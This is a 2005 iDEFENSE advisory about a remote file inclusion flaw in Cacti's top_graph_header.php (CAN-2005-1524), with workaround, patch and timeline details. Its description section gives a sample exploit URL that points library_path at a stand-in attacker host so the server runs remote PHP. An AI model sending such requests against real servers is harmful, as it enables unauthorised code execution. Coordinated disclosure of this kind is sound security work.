[Full-disclosure] iDEFENSE Security Advisory 06.22.05: Multiple Vendor Cacti Remote File Inclusion Vulnerability

From: iDEFENSE Labs (labs-no-reply_at_idefense.com)
Date: 06/22/05

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    Multiple Vendor Cacti Remote File Inclusion Vulnerability

    iDEFENSE Security Advisory 06.22.05
    www.idefense.com/application/poi/display?id=265&type=vulnerabilities
    June 22, 2005

    I. BACKGROUND

    Cacti is a round-robin database (RRD) tool that helps create graphs from

    database information and is available on multiple Linux distributions.

    II. DESCRIPTION

    Cacti contains an input validation error in the top_graph_header.php
    script that allows an attacker to include arbitrary PHP code from remote

    sites. This in effect allows arbitrary code execution with the
    privileges of the web server. The vulnerability specifically exists due
    to the script trusting a user supplied library_path variable. The
    following example demonstrates how this might be exploited:

    http://example.com/path_of_cacti/include/top_graph_header.php?config[lib
    rary_path]=http://attackersite.com/

    In this way, the files "http://attackersite.com/include/html_tree.php"
    and "http://attackersite.com/include/rrd.php" will be included and
    executed on the vulnerable server.

    III. ANALYSIS

    Successful exploitation of this vulnerability allows a remote attacker
    to gain shell access with the privileges of the web server. An attacker
    can then attempt to escalate privileges using local exploits, possibly
    allowing a full root compromise.

    IV. DETECTION

    iDEFENSE has confirmed the existence of this vulnerability on Cacti
    0.8.6d. Earlier versions are suspected vulnerable. The following vendors

    include susceptible Cacti packages within their respective operating
    system distributions:

            The FreeBSD Project
            Gentoo Foundation
            Novell Inc. (SuSE)

    Debian also includes a package for Cacti, however, it is an older,
    unaffected version.

    V. WORKAROUND

    Require authentication to access the Cacti installation. Restrict access

    to web servers using Cacti to only trusted hosts.

    VI. VENDOR RESPONSE

    Cacti 0.8.6e has been released to address this vulnerability and is
    available for download at:

       http://www.cacti.net/downloads/cacti-0.8.6e.tar.gz
       or
       http://www.cacti.net/downloads/cacti-0.8.6e.zip

    Release notes for Cacti 0.8.6e can be found at:

       http://www.cacti.net/release_notes_0_8_6e.php

    VII. CVE INFORMATION

    The Common Vulnerabilities and Exposures (CVE) project has assigned the
    name CAN-2005-1524 to this issue. This is a candidate for inclusion in
    the CVE list (http://cve.mitre.org), which standardizes names for
    security problems.

    VIII. DISCLOSURE TIMELINE

    05/12/2005 Initial vendor notification
    05/12/2005 Initial vendor response
    06/22/2005 Coordinated public disclosure

    IX. CREDIT

    Maciej Piotr Falkiewicz and an anonymous researcher are credited with
    this discovery.

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    X. LEGAL NOTICES

    Copyright (c) 2005 iDEFENSE, Inc.

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    Disclaimer: The information in the advisory is believed to be accurate
    at the time of publishing based on currently available information. Use
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